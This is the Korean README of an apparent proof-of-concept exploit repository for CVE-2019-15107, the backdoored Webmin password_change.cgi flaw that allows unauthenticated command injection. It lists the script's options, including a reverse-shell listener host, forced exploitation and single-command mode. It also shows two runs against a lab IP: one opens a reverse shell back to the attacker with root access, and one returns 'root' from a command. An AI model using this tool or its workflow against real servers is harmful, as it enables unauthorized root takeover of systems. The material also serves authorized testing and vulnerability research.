
CVE-2019-15107 (Webmin <= 1.920)에 대한 개념 증명 익스플로잇으로, 명령 주입을 통해 인증되지 않은 RCE를 가능하게 합니다.
이 저장소는 Webmin 버전 1.890부터 1.920까지 영향을 미치는 CVE-2019-15107에 대한 개념 증명(PoC) 익스플로잇을 포함합니다.
이 스크립트는 버전 1.890부터 1.920까지의 백도어를 이용하여 인증되지 않은 사용자가 old (v.1.890에서는 expired) 매개변수를 통해 password_change.cgi 엔드포인트에 명령어를 주입할 수 있도록 합니다. SourceForge 다운로드만 백도어가 설치되었지만, 이는 프로젝트 사이트에 공식 다운로드로 등록되어 있습니다.
알 수 없는 공격자(들)가 두 차례에 걸쳐 빌드 서버의 소스 코드에 Perl qx 문을 삽입했습니다: 2018년 4월에 1.890 릴리스에 백도어를 도입했고, 2018년 7월에 1.900부터 1.920까지의 릴리스에 백도어를 다시 도입했습니다.
기본 설치에서 익스플로잇이 가능한 버전은 1.890뿐입니다. 이후 영향을 받는 버전은 만료된 비밀번호 변경 기능이 활성화되어 있어야 합니다.
이 익스플로잇은 다음 환경에서 성공적으로 테스트되었습니다:
python3 cve-2019-15107.py -r <TARGET_IP> -l <LOCAL_IP> [options]
options:
-h, --help Show this help message and exit
-r, --rhost RHOST Target IP address
-rp, --rport RPORT Target port (default: 10000)
-l, --lhost LHOST Local IP for reverse shell
-lp, --lport LPORT Local port for reverse shell (default: 4343)
-s, --scheme {http,https} Protocol to use (default: https)
-x, --proxy [PROXY] Use proxy (default: http://127.0.0.1:8080)
-f, --force Force exploitation even if detection fails
-c, --cmd CMD Execute a single command instead of reverse shell
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[*] Starting listener on port 4343...
listening on [any] 4343 ...
[*] Sending payload...
connect to [192.168.158.129] from (UNKNOWN) [10.114.159.93] 59970
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
root@source:/usr/share/webmin/# whoami
whoami
root
root@source:/usr/share/webmin/#
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129 -c whoami
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[+] Command output:
========================================
root
이 도구는 교육 및 승인된 테스트 목적으로만 사용됩니다. 소유하지 않거나 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다. 책임감 있게 사용하십시오.